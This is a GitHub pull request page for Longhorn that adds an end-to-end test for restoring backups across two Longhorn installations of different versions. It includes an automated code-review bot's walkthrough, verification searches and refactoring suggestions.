Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

test(robot): pull backup from another longhorn #2151

Merged
merged 2 commits into from
Nov 26, 2024

Conversation

chriscchien
Copy link
Contributor

@chriscchien chriscchien commented Oct 24, 2024

Which issue(s) this PR fixes:

Issue #9646

What this PR does / why we need it:

Implement manual test case pull backup created by another Longhorn system

If running on local, below enviromnet need to be set up at first

example:

export LONGHORN_INSTALL_METHOD=manifest
export LONGHORN_REPO_BRANCH=v1.7.x
export CUSTOM_LONGHORN_MANAGER_IMAGE=longhornio/longhorn-manager:v1.7.2
export CUSTOM_LONGHORN_ENGINE_IMAGE=longhornio/longhorn-engine:v1.7.2
export CUSTOM_LONGHORN_INSTANCE_MANAGER_IMAGE=longhornio/longhorn-instance-manager:v1.7.2
export CUSTOM_LONGHORN_SHARE_MANAGER_IMAGE=longhornio/longhorn-share-manager:v1.7.2
export CUSTOM_LONGHORN_BACKING_IMAGE_MANAGER_IMAGE=longhornio/backing-image-manager:v1.7.2
export LONGHORN_STABLE_VERSION=v1.6.3

Special notes for your reviewer:

Tested on my local and Jenkins
image

Additional documentation or context

Manual test case (in case manual case removed in the future)

1. Prepare 2 k8s clusters: cluster A and cluster B.
2. Install previous version of Longhorn which doesn’t include this fix e.g v1.3.1, v1.2.5 on cluster A.
3. Install the release version of Longhorn on cluster B.
4. Set the same backup target on both cluster A and cluster B.
5. Create volume, write some data, and take backup on cluster A.
6. Wait for backup target polling update on cluster B.
7. Make sure the backup created by cluster A can be pulled on cluster B.
8. Restore the pulled backup and verify the data on cluster B.
9. Repeat the test with both clusters installed the release version of Longhorn.

Hi @mantissahz , this PR is related to backup, could you take a look on this? thank you.

Summary by CodeRabbit

Release Notes

  • New Features

    • Introduced keywords for managing Longhorn installations:
      • Install and Uninstall Longhorn stable versions.
    • Added functionality for writing data to volumes and creating volumes from backups in different clusters.
  • Bug Fixes

    • Enhanced error handling for backup metadata access to prevent unhandled exceptions.
  • Tests

    • Added a new test case to validate backup restoration across different Longhorn installations.
  • Chores

    • Updated installation scripts to support stable version installations and improved logging during the process.
    • Modified test scripts to include the new environment variable for stable version testing.

@chriscchien chriscchien requested review from mantissahz and a team October 24, 2024 07:53
@chriscchien chriscchien self-assigned this Oct 24, 2024
@chriscchien chriscchien requested a review from a team as a code owner October 24, 2024 07:53
Copy link

coderabbitai bot commented Oct 24, 2024

Caution

Review failed

The pull request is closed.

Walkthrough

This pull request introduces new keywords for managing Longhorn installations, specifically for stable versions, and enhances volume management capabilities. It adds functionality to install and uninstall Longhorn with a stability flag and introduces new volume-related keywords. Additionally, it improves error handling in existing methods and updates several method signatures to accommodate the new parameters. A new Robot Framework test case is included to validate the backup restoration process across different Longhorn installations, and modifications to scripts ensure the new functionality is integrated into the installation and testing processes.

Changes

File Path Change Summary
e2e/keywords/longhorn.resource Added keywords: Install Longhorn stable version, Uninstall Longhorn stable version.
e2e/keywords/volume.resource Added keywords: Write data ${data_id} ${size} MB to volume ${volume_id}, Create volume ${volume_id} from backup ${backup_id} in another cluster.
e2e/libs/backup/rest.py Modified get_from_list method to enhance error handling with try-except blocks.
e2e/libs/keywords/longhorn_deploy_keywords.py Updated uninstall_longhorn_system and install_longhorn_system methods to accept is_stable_version parameter.
e2e/libs/longhorn_deploy/base.py Updated uninstall and install_longhorn methods to accept is_stable_version parameter.
e2e/libs/longhorn_deploy/longhorn_deploy.py Updated uninstall and install methods to accept is_stable_version parameter.
e2e/libs/longhorn_deploy/longhorn_helm_chart.py Updated uninstall and install methods to accept is_stable_version parameter.
e2e/libs/longhorn_deploy/longhorn_kubectl.py Updated uninstall and install methods to accept is_stable_version parameter.
e2e/tests/negative/pull_backup_from_another_longhorn.robot Added new test case: Pull backup created by another Longhorn system.
e2e/utilities/longhorn-install.sh Added functions: install_longhorn_stable_by_chart(), install_longhorn_stable_by_manifest(), install_longhorn_stable_version().
pipelines/utilities/run_longhorn_e2e_test.sh Added environment variable LONGHORN_STABLE_VERSION to two functions for test execution.

Possibly related PRs

Suggested reviewers

  • c3y1huang
  • ChanYiLin

Poem

🐰 In the garden where Longhorns play,
New keywords bloom, brightening the day.
Stable versions now take their flight,
With backups restored, everything's right!
A hop, a jump, through code we weave,
In the world of Longhorn, we believe! 🌼


Thank you for using CodeRabbit. We offer it for free to the OSS community and would appreciate your support in helping us grow. If you find it useful, would you consider giving us a shout-out on your favorite social media?

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Generate unit testing code for this file.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai generate unit testing code for this file.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and generate unit testing code.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 14

🧹 Outside diff range and nitpick comments (11)
e2e/libs/utility/constant.py (1)

25-25: Add documentation for the new constant.

The constant follows naming conventions and is appropriately placed. However, consider adding a comment explaining its purpose in version-specific Longhorn installations for better maintainability.

+# Shell function name for installing specific stable versions of Longhorn
 LONGHORN_INSTALL_STABLE_SHELL_FUNCTION = "install_longhorn_stable_version"
e2e/libs/longhorn_deploy/longhorn_helm_chart.py (1)

Line range hint 11-19: Unused parameter and potential improvements needed

The is_stable_version parameter is added but not utilized within the method. This seems inconsistent with the intended functionality to support different versions of Longhorn.

Additionally, consider these improvements:

  1. The error message could be more specific about which step failed
  2. The method assumes KUBECONFIG environment variable exists without validation

Consider implementing version-specific logic and adding parameter validation:

 def uninstall(self, is_stable_version=False):
+    if not os.getenv("KUBECONFIG"):
+        raise ValueError("KUBECONFIG environment variable is not set")
+
     control_plane_nodes = Node.list_node_names_by_role(self, role="control-plane")
     control_plane_node = control_plane_nodes[0]
 
     cmd = f'export KUBECONFIG={os.getenv("KUBECONFIG")} && helm uninstall longhorn -n {LONGHORN_NAMESPACE}'
     res = NodeExec(control_plane_node).issue_cmd(cmd)
-    assert res, "apply helm uninstall command failed"
+    assert res, f"Failed to uninstall Longhorn {'stable' if is_stable_version else 'development'} version using Helm"
e2e/libs/longhorn_deploy/longhorn_kubectl.py (2)

12-12: Add docstring to document the new parameter.

The method lacks documentation for the new is_stable_version parameter.

Add a docstring:

 def uninstall(self, is_stable_version=False):
+    """Uninstall Longhorn components.
+    
+    Args:
+        is_stable_version (bool, optional): If True, uses LONGHORN_STABLE_VERSION.
+            If False, uses LONGHORN_REPO_BRANCH. Defaults to False.
+    
+    Raises:
+        ValueError: If required environment variable is not set
+    """

Line range hint 12-37: Consider extracting version management logic.

The current implementation spreads version management logic across methods. Consider creating a dedicated version manager that encapsulates all version-related logic, environment variable handling, and validation. This would improve maintainability and reduce duplication.

Example structure:

class LonghornVersionManager:
    def __init__(self):
        self.stable_version = self._get_env("LONGHORN_STABLE_VERSION")
        self.dev_version = self._get_env("LONGHORN_REPO_BRANCH")

    def _get_env(self, var_name):
        value = os.getenv(var_name)
        if not value:
            raise ValueError(f"Required environment variable {var_name} is not set")
        return value

    def get_version(self, is_stable=False):
        return self.stable_version if is_stable else self.dev_version
e2e/keywords/longhorn.resource (2)

70-71: Add documentation for the new keyword.

The keyword implementation looks good, but consider adding documentation to specify the version being installed and any prerequisites.

 Install Longhorn stable version
+    [Documentation]    Installs the stable version of Longhorn system.
+    ...    This keyword is used for testing scenarios requiring specific Longhorn versions,
+    ...    such as backup compatibility testing between different Longhorn installations.
     install_longhorn_system    is_stable_version=True

70-77: Consider adding complementary test scenarios.

The new keywords effectively support testing backup compatibility between different Longhorn versions. Consider adding additional keywords and test cases for:

  1. Verifying backup metadata compatibility
  2. Testing incremental backup restoration
  3. Handling failed backup restoration scenarios
  4. Validating backup consistency across version upgrades

This would provide more comprehensive coverage for backup compatibility testing.

e2e/tests/negative/pull_backup_from_another_longhorn.robot (2)

21-26: Add documentation for test variables.

Consider adding comments to explain the purpose and impact of these variables, especially LOOP_COUNT, RETRY_COUNT, and RETRY_INTERVAL, to help other developers understand when they might need to adjust these values.

 *** Variables ***
+# Number of times to repeat the test
 ${LOOP_COUNT}    1
+# Maximum number of attempts to wait for operations to complete
 ${RETRY_COUNT}    300
+# Time in seconds between retry attempts
 ${RETRY_INTERVAL}    1
+# Data engine version to use for volume operations
 ${DATA_ENGINE}    v1

42-51: Enhance environment setup documentation.

Consider adding:

  1. The minimum required version of Longhorn for compatibility
  2. Example values for the environment variables
  3. A reference to documentation for setting up the backup target
pipelines/utilities/run_longhorn_e2e_test.sh (2)

110-110: Consider adding variable validation.

While the addition of LONGHORN_STABLE_VERSION to the docker run command is correct, consider adding validation at the start of the function to ensure the variable is set and contains a valid version string.

Example validation:

 run_longhorn_e2e_test_out_of_cluster(){
+  if [[ -z "${LONGHORN_STABLE_VERSION}" ]]; then
+    echo "Error: LONGHORN_STABLE_VERSION must be set"
+    exit 1
+  fi
+
   if [[ ${BACKUP_STORE_TYPE} == "s3" ]]; then

Line range hint 1-1: Add documentation for the new environment variable.

Consider adding a comment block at the start of the file documenting the purpose and expected format of LONGHORN_STABLE_VERSION. This would help maintainers and users understand how to properly configure version-specific backup tests.

Example documentation:

 S3_BACKUP_STORE='s3://backupbucket@us-east-1/backupstore$minio-secret'
 NFS_BACKUP_STORE='nfs://longhorn-test-nfs-svc.default:/opt/backupstore'
+
+# Environment Variables:
+# LONGHORN_STABLE_VERSION - The version of Longhorn to use for stable version tests
+#                          Format: x.y.z (e.g., "1.4.0")
e2e/libs/backup/rest.py (1)

56-60: Improve error handling and logging.

The error handling addition is good, but there are a few improvements needed:

  1. The error message should include the actual error for better debugging
  2. The unused exception variable should be utilized in the logging

Apply this diff to enhance the error handling:

     try:
         if backup['metadata']['annotations']['test.longhorn.io/backup-id'] == backup_id:
             return backup
     except Exception as e:
-        logging(f"Failed to find annotation test.longhorn.io/backup-id in {backup['metadata']['name']}")
+        logging(f"Failed to find annotation test.longhorn.io/backup-id in {backup['metadata']['name']}: {str(e)}")
🧰 Tools
🪛 Ruff

59-59: Local variable e is assigned to but never used

Remove assignment to unused variable e

(F841)

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL

📥 Commits

Files that changed from the base of the PR and between f78ae2c and 797c10b.

📒 Files selected for processing (12)
  • e2e/keywords/longhorn.resource (1 hunks)
  • e2e/keywords/volume.resource (2 hunks)
  • e2e/libs/backup/rest.py (1 hunks)
  • e2e/libs/keywords/longhorn_deploy_keywords.py (1 hunks)
  • e2e/libs/longhorn_deploy/base.py (3 hunks)
  • e2e/libs/longhorn_deploy/longhorn_deploy.py (1 hunks)
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py (2 hunks)
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py (2 hunks)
  • e2e/libs/utility/constant.py (1 hunks)
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot (1 hunks)
  • e2e/utilities/longhorn-install.sh (2 hunks)
  • pipelines/utilities/run_longhorn_e2e_test.sh (2 hunks)
🧰 Additional context used
🪛 Ruff
e2e/libs/backup/rest.py

59-59: Local variable e is assigned to but never used

Remove assignment to unused variable e

(F841)

🪛 GitHub Check: codespell
e2e/tests/negative/pull_backup_from_another_longhorn.robot

[failure] 76-76:
pervious ==> previous

🪛 Shellcheck
e2e/utilities/longhorn-install.sh

[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.

(SC2154)

🔇 Additional comments (17)
e2e/libs/keywords/longhorn_deploy_keywords.py (2)

7-8: LGTM! Verify underlying implementation.

The addition of the is_stable_version parameter aligns with the PR objective of testing different Longhorn versions. The default value of False maintains backward compatibility.

Let's verify the parameter handling in the underlying LonghornDeploy class:

#!/bin/bash
# Description: Verify the uninstall method implementation in LonghornDeploy class
# Expect: The uninstall method should accept the is_stable_version parameter

ast-grep --pattern 'class LonghornDeploy {
  $$$
  uninstall($$$) {
    $$$
  }
  $$$
}'

13-14: LGTM! Verify underlying implementation.

The addition of the is_stable_version parameter is consistent with the uninstall method and supports the PR's testing requirements.

Let's verify the parameter handling in the underlying LonghornDeploy class:

✅ Verification successful

Let me try a different approach to verify the implementation.


Let me verify the implementation in the concrete classes (LonghornKubectl and LonghornHelmChart) since they handle the actual installation.


Parameter handling for is_stable_version is properly implemented throughout the class hierarchy

The verification shows that the is_stable_version parameter is correctly:

  • Passed through from install_longhorn_system() to LonghornDeploy.install()
  • Handled by both concrete implementations (LonghornKubectl and LonghornHelmChart)
  • Ultimately used in Base.install_longhorn() where it determines which shell function to execute

The implementation is consistent and properly supports the testing requirements for both stable and development versions.

🏁 Scripts executed

The following scripts were executed for the analysis:

Script:

#!/bin/bash
# Description: Verify the install method implementation in LonghornDeploy class
# Expect: The install method should accept the is_stable_version parameter

ast-grep --pattern 'class LonghornDeploy {
  $$$
  install($$$) {
    $$$
  }
  $$$
}'

Length of output: 90


Script:

#!/bin/bash
# Let's search for Python files containing LonghornDeploy class
fd -e py | xargs rg "class LonghornDeploy" -A 20

Length of output: 1489


Script:

#!/bin/bash
# Search for install methods in both concrete classes
rg "def install.*is_stable_version" -A 10

Length of output: 1629

e2e/libs/longhorn_deploy/longhorn_deploy.py (3)

17-18: LGTM: Clean implementation of the uninstall method.

The addition of the is_stable_version parameter with a default value maintains backward compatibility while supporting the new functionality needed for testing different Longhorn versions.


23-24: LGTM: Clean implementation of the install method.

The addition of the is_stable_version parameter matches the uninstall method's signature, maintaining consistency in the API.


17-24: Verify implementation in dependent classes.

The changes look good, but we should verify that both LonghornKubectl and LonghornHelmChart classes properly implement the is_stable_version parameter in their respective install and uninstall methods.

✅ Verification successful

The previous script didn't return any matches. Let's try a different approach to locate these classes and examine their implementations.


Let's check the implementation of install_longhorn method in both classes since both install methods delegate to it.


Let's try a different approach to find these methods by searching for more of the file content:


Let's check the base class since both implementations inherit from Base and delegate to install_longhorn:


Now I have enough information to provide the final response:

Both implementation classes correctly handle the is_stable_version parameter

The verification shows that:

  • LonghornKubectl properly implements the is_stable_version parameter in both install and uninstall methods
  • LonghornHelmChart properly implements the is_stable_version parameter in both methods
  • Both classes inherit from Base and their install methods delegate to install_longhorn(is_stable_version) which correctly handles the parameter
  • The uninstall methods in both classes properly accept and handle the parameter
🏁 Scripts executed

The following scripts were executed for the analysis:

Script:

#!/bin/bash
# Description: Verify that both implementation classes support the new parameter

# Check LonghornKubectl implementation
echo "Checking LonghornKubectl implementation..."
ast-grep --pattern 'class LonghornKubectl {
  $$$
  install($$$) {
    $$$
  }
  $$$
  uninstall($$$) {
    $$$
  }
  $$$
}'

# Check LonghornHelmChart implementation
echo "Checking LonghornHelmChart implementation..."
ast-grep --pattern 'class LonghornHelmChart {
  $$$
  install($$$) {
    $$$
  }
  $$$
  uninstall($$$) {
    $$$
  }
  $$$
}'

Length of output: 449


Script:

#!/bin/bash
# First, let's find the files containing these classes
echo "Finding files containing LonghornKubectl and LonghornHelmChart..."
rg "class (LonghornKubectl|LonghornHelmChart)" -l

# Then let's examine their content
echo -e "\nExamining LonghornKubectl implementation..."
rg "class LonghornKubectl" -A 30

echo -e "\nExamining LonghornHelmChart implementation..."
rg "class LonghornHelmChart" -A 30

Length of output: 4686


Script:

#!/bin/bash
echo "Checking install_longhorn implementation in LonghornKubectl..."
rg "def install_longhorn" -A 20 e2e/libs/longhorn_deploy/longhorn_kubectl.py

echo -e "\nChecking install_longhorn implementation in LonghornHelmChart..."
rg "def install_longhorn" -A 20 e2e/libs/longhorn_deploy/longhorn_helm_chart.py

Length of output: 440


Script:

#!/bin/bash
echo "Examining full content of LonghornKubectl..."
cat e2e/libs/longhorn_deploy/longhorn_kubectl.py

echo -e "\nExamining full content of LonghornHelmChart..."
cat e2e/libs/longhorn_deploy/longhorn_helm_chart.py

Length of output: 2851


Script:

#!/bin/bash
echo "Examining Base class implementation..."
cat e2e/libs/longhorn_deploy/base.py

Length of output: 2061

e2e/libs/longhorn_deploy/longhorn_helm_chart.py (1)

22-23: Verify install_longhorn method implementation

The method correctly forwards the is_stable_version parameter, but we should verify that the install_longhorn method properly handles this parameter.

Let's verify the implementation of install_longhorn:

✅ Verification successful

Let me gather more information about the implementation by searching through the codebase.


Let me search for the install_longhorn method in other files since it's not visible in the current class implementation.


Let me verify the inheritance hierarchy to understand how the install_longhorn method is available to LonghornHelmChart.


Implementation verified and found to be correct

The install_longhorn method is properly implemented in the parent Base class (in e2e/libs/longhorn_deploy/base.py) and handles the is_stable_version parameter correctly:

  • It executes different shell commands based on the is_stable_version flag
  • When is_stable_version is True, it calls the stable version installation function
  • When False, it uses the default installation

The LonghornHelmChart class inherits from Base and correctly forwards the parameter, making this implementation complete and correct.

🏁 Scripts executed

The following scripts were executed for the analysis:

Script:

#!/bin/bash
# Description: Check if install_longhorn method exists and handles is_stable_version parameter

# Search for install_longhorn method definition
echo "Searching for install_longhorn method definition:"
ast-grep --pattern 'def install_longhorn(self, $$$)' || rg -A 5 'def install_longhorn'

# Search for any references to stable version handling
echo -e "\nSearching for stable version handling in the same file:"
rg -A 5 'stable.*version' "e2e/libs/longhorn_deploy/longhorn_helm_chart.py"

Length of output: 826


Script:

#!/bin/bash
# Search for the complete class implementation to find install_longhorn method
echo "Searching for the complete class implementation:"
rg -A 50 "class.*LonghornHelmChart" "e2e/libs/longhorn_deploy/longhorn_helm_chart.py"

Length of output: 868


Script:

#!/bin/bash
# Search for install_longhorn method in other files
echo "Searching for install_longhorn method across the codebase:"
rg -A 10 "def install_longhorn" 

# Search for any files that might inherit from LonghornHelmChart
echo -e "\nSearching for classes that inherit from LonghornHelmChart:"
rg "class.*\(.*LonghornHelmChart.*\)"

Length of output: 1338


Script:

#!/bin/bash
# Check if LonghornHelmChart inherits from Base
echo "Checking Base class implementation:"
rg -A 5 "class Base" "e2e/libs/longhorn_deploy/base.py"

# Verify the import statements in longhorn_helm_chart.py
echo -e "\nChecking imports in longhorn_helm_chart.py:"
rg "^from|^import" "e2e/libs/longhorn_deploy/longhorn_helm_chart.py"

Length of output: 619

e2e/libs/longhorn_deploy/longhorn_kubectl.py (1)

36-37: Add docstring and verify install_longhorn implementation.

The method should document the new parameter, and we should verify the implementation of install_longhorn.

  1. Add a docstring:
 def install(self, is_stable_version=False):
+    """Install Longhorn components.
+    
+    Args:
+        is_stable_version (bool, optional): If True, uses stable version.
+            If False, uses development version. Defaults to False.
+    """
     self.install_longhorn(is_stable_version)
  1. Let's verify the implementation of install_longhorn:
✅ Verification successful

Let me try a different approach to find the implementation using rg instead of ast-grep.


I can now generate the final response based on the findings.

The docstring suggestion is valid, but the implementation verification concern is resolved

The install_longhorn method is properly implemented in base.py and correctly handles the is_stable_version parameter:

  • It uses the parameter to determine which installation command to run
  • When is_stable_version is True, it calls the stable version installation function
  • When False, it uses the default installation command

The suggested docstring addition remains valuable for code clarity and should be implemented as proposed in the review comment.

🏁 Scripts executed

The following scripts were executed for the analysis:

Script:

#!/bin/bash
# Search for the install_longhorn method implementation
ast-grep --pattern 'def install_longhorn($_)'

Length of output: 47


Script:

#!/bin/bash
# Search for install_longhorn method using ripgrep
rg "def install_longhorn" -A 10

Length of output: 1038

e2e/libs/longhorn_deploy/base.py (2)

7-7: LGTM: Import statement is correctly placed

The new constant import is properly grouped with other related constant imports.


23-23: Verify implementation in derived classes

The abstract method signature change requires corresponding updates in all implementing classes.

✅ Verification successful

Let me try a different approach to find the derived classes and their implementations.

This should help us find:

  1. Files that import the Base class
  2. Classes that inherit from Base
  3. Their uninstall method implementations

We can then verify if they match the new signature with is_stable_version parameter.


Based on the search results, I can now provide a final response since we found the implementations of the uninstall method in the derived classes.

Implementation in derived classes matches the new signature

The uninstall method signature change has been properly implemented in the derived classes:

  1. LonghornKubectl class in e2e/libs/longhorn_deploy/longhorn_kubectl.py:
def uninstall(self, is_stable_version=False):
  1. LonghornHelmChart class in e2e/libs/longhorn_deploy/longhorn_helm_chart.py:
def uninstall(self, is_stable_version=False):

Both implementations match the base class signature with the is_stable_version parameter and its default value. No other classes in the codebase implement this method, as they are part of different subsystems that don't require uninstallation functionality.

🏁 Scripts executed

The following scripts were executed for the analysis:

Script:

#!/bin/bash
# Find all classes that inherit from Base and verify their uninstall method signatures
ast-grep --pattern 'class $_ (Base) {
  $$$
  def uninstall($$$) {
    $$$
  }
  $$$
}'

Length of output: 89


Script:

#!/bin/bash
# First, let's find all Python files that might contain Base class implementations
echo "=== Files importing or referencing Base class ==="
rg -l "from.*longhorn_deploy.base.*Base|class.*\(Base\)" --type py

echo -e "\n=== Content of files with potential implementations ==="
# For each file found, show the class and uninstall method implementations
rg -A 10 "class.*\(Base\)" --type py

Length of output: 20167

e2e/utilities/longhorn-install.sh (1)

16-17: LGTM: Clear variable declarations with sensible defaults.

The explicit definition of repository directory and URI with fallback value improves script reliability.

e2e/tests/negative/pull_backup_from_another_longhorn.robot (2)

1-98: Overall implementation looks good!

The test case is well-structured and provides comprehensive coverage for backup and restore operations across different Longhorn versions. The implementation follows good practices with proper setup, teardown, and verification steps.

🧰 Tools
🪛 GitHub Check: codespell

[failure] 76-76:
pervious ==> previous


67-68: Add timeout verification for backup sync.

The Check backup synced from backupstore step should include a timeout to prevent indefinite waiting. Also, consider verifying the backup's integrity before proceeding with restoration.

pipelines/utilities/run_longhorn_e2e_test.sh (1)

45-45: LGTM: Environment variable addition follows established patterns.

The addition of LONGHORN_STABLE_VERSION to the test pod manifest is implemented correctly and aligns with the PR's objective of testing different Longhorn versions.

e2e/libs/backup/rest.py (1)

56-60: Verify test coverage for error handling scenarios.

Since this code is part of the test framework for pulling backups between different Longhorn systems, ensure there are test cases that cover:

  1. Backups with missing annotations
  2. Backups with malformed metadata
  3. Backups from different Longhorn versions

Let's check for existing test cases:

✅ Verification successful

Let me try a different search strategy to understand the test coverage and backup handling better.

This will help us:

  1. Locate the correct test directory path
  2. Find backup-related test files
  3. See the context around the backup ID annotation usage

Let me check the test coverage specifically for backup listing and error handling scenarios.

This will help us understand:

  1. The negative test cases that exist for backup listing
  2. The backup-related test keywords and their usage
  3. How the backup ID annotation is used across the test framework

Based on the gathered information, I can now provide a final response:

Error handling for backup annotation is well covered

The verification shows that the error handling for missing backup annotations is properly integrated into the test framework:

  1. The test file test_backup_listing.robot includes comprehensive test cases for backup listing with more than 1000 backups and large volume backups (>200GB).
  2. The backup handling is abstracted in backup_keywords.py which uses the error-handled get_from_list method.
  3. The ANNOT_ID is a standardized constant used across the test framework, similar to how snapshots are handled.

The error handling in the code is appropriate because:

  • It's used in test scenarios that verify backup operations across different configurations
  • The logging of missing annotations helps debug test failures
  • The error handling allows tests to continue when encountering backups without the expected annotations
🏁 Scripts executed

The following scripts were executed for the analysis:

Script:

#!/bin/bash
# Search for test cases related to backup metadata handling
rg -l "test.longhorn.io/backup-id" e2e/test/

Length of output: 94


Script:

#!/bin/bash
# First, let's find the correct test directory structure
fd -t d "test"

# Then search for files containing backup-related tests
rg -l "backup.*id" 

# Also search for the specific function containing our code
rg -B 5 -A 5 "test.longhorn.io/backup-id"

Length of output: 2896


Script:

#!/bin/bash
# Check the negative test cases for backup listing
cat e2e/tests/negative/test_backup_listing.robot

# Look for backup test keywords
cat e2e/libs/keywords/backup_keywords.py

# Check how the backup ID annotation is used in the test framework
rg -B 3 -A 3 "ANNOT_ID" e2e/libs/

Length of output: 13089

🧰 Tools
🪛 Ruff

59-59: Local variable e is assigned to but never used

Remove assignment to unused variable e

(F841)

e2e/keywords/volume.resource (3)

94-97: LGTM! Well-structured keyword for flexible data writing.

The new keyword provides fine-grained control over both data size and data identification, which will be valuable for testing backup/restore scenarios with specific data sizes.


Line range hint 293-296: LGTM! Well-implemented DR volume creation from cross-cluster backup.

The keyword correctly implements DR volume creation with appropriate settings (frontend and Standby) while maintaining consistency with the regular volume creation pattern.


287-291: Verify backup URL retrieval in cross-cluster scenarios.

The implementation correctly supports the PR's objective of testing backup pulls between clusters. However, let's verify the backup URL retrieval mechanism.

✅ Verification successful

Let me gather more information about the backup URL retrieval implementation since the ast-grep pattern didn't yield results. I'll try a different approach.


Based on the gathered information, I can now provide the final response as we have found the implementation of get_backup_url_from_backup_list and how backups_before_uninstall is handled.

The backup URL retrieval implementation is correct and properly handles cross-cluster scenarios

The implementation is verified to be working correctly because:

  • The get_backup_url_from_backup_list function in e2e/libs/keywords/backup_keywords.py correctly extracts the backup URL from the backup list using backup["status"]["url"]
  • The backups_before_uninstall variable is properly populated before uninstallation via list_all_backups and set as a test variable
  • The backup URL retrieval mechanism is consistently used across various test scenarios, including cross-cluster restoration
🏁 Scripts executed

The following scripts were executed for the analysis:

Script:

#!/bin/bash
# Description: Verify the backup URL retrieval function handles all backup URL formats
# and the backups_before_uninstall variable is properly populated in the test workflow.

# Test: Search for the usage of backups_before_uninstall
rg -l 'backups_before_uninstall'

# Test: Search for the implementation of get_backup_url_from_backup_list
ast-grep --pattern 'def get_backup_url_from_backup_list'

Length of output: 267


Script:

#!/bin/bash
# Search for the function implementation using ripgrep with context
rg -A 10 "get_backup_url_from_backup_list" 

# Check how backups_before_uninstall is populated
rg -B 5 -A 5 "backups_before_uninstall.*="

# Look for backup URL related functions
rg -A 5 "backup.*url" --type py --type robot

Length of output: 28628

Comment on lines 12 to 16
def uninstall(self, is_stable_version=False):
if is_stable_version is True:
longhorn_branch = os.getenv("LONGHORN_STABLE_VERSION")
else:
longhorn_branch = os.getenv("LONGHORN_REPO_BRANCH")
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue

Add environment variable validation and error handling.

The method relies on environment variables but doesn't validate their existence or handle missing values gracefully.

Consider adding validation:

 def uninstall(self, is_stable_version=False):
+    env_var = "LONGHORN_STABLE_VERSION" if is_stable_version else "LONGHORN_REPO_BRANCH"
+    longhorn_branch = os.getenv(env_var)
+    if not longhorn_branch:
+        raise ValueError(f"Required environment variable {env_var} is not set")
-    if is_stable_version is True:
-        longhorn_branch = os.getenv("LONGHORN_STABLE_VERSION")    
-    else:
-        longhorn_branch = os.getenv("LONGHORN_REPO_BRANCH")
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
def uninstall(self, is_stable_version=False):
if is_stable_version is True:
longhorn_branch = os.getenv("LONGHORN_STABLE_VERSION")
else:
longhorn_branch = os.getenv("LONGHORN_REPO_BRANCH")
def uninstall(self, is_stable_version=False):
env_var = "LONGHORN_STABLE_VERSION" if is_stable_version else "LONGHORN_REPO_BRANCH"
longhorn_branch = os.getenv(env_var)
if not longhorn_branch:
raise ValueError(f"Required environment variable {env_var} is not set")

try:
output = subprocess.check_output(['bash', full_path], timeout=LONGHORN_INSTALL_TIMEOUT)
output = subprocess.check_output(cmd, timeout=LONGHORN_INSTALL_TIMEOUT)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ Refactor suggestion

Improve error handling consistency

The error handling could be more consistent in logging both stdout and stderr.

         try:
             output = subprocess.check_output(cmd, timeout=LONGHORN_INSTALL_TIMEOUT)
             logging(output)
         except subprocess.CalledProcessError as e:
-            logging(f"Error: {e.stderr}")
+            logging(f"Command failed with exit code {e.returncode}")
+            logging(f"stdout: {e.output}")
+            logging(f"stderr: {e.stderr}")
+            raise
         except subprocess.TimeoutExpired as e:
-            logging(f"Command timed out after {e.timeout} seconds")
+            logging(f"Command timed out after {e.timeout} seconds")
+            logging(f"stdout: {e.output}")
+            raise

Also applies to: 48-51

assert "level=error" not in logs, f"find string 'level=error' in uninstall log {logs}"
assert "level=fatal" not in logs, f"find string 'level=fatal' in uninstall log {logs}"
Copy link

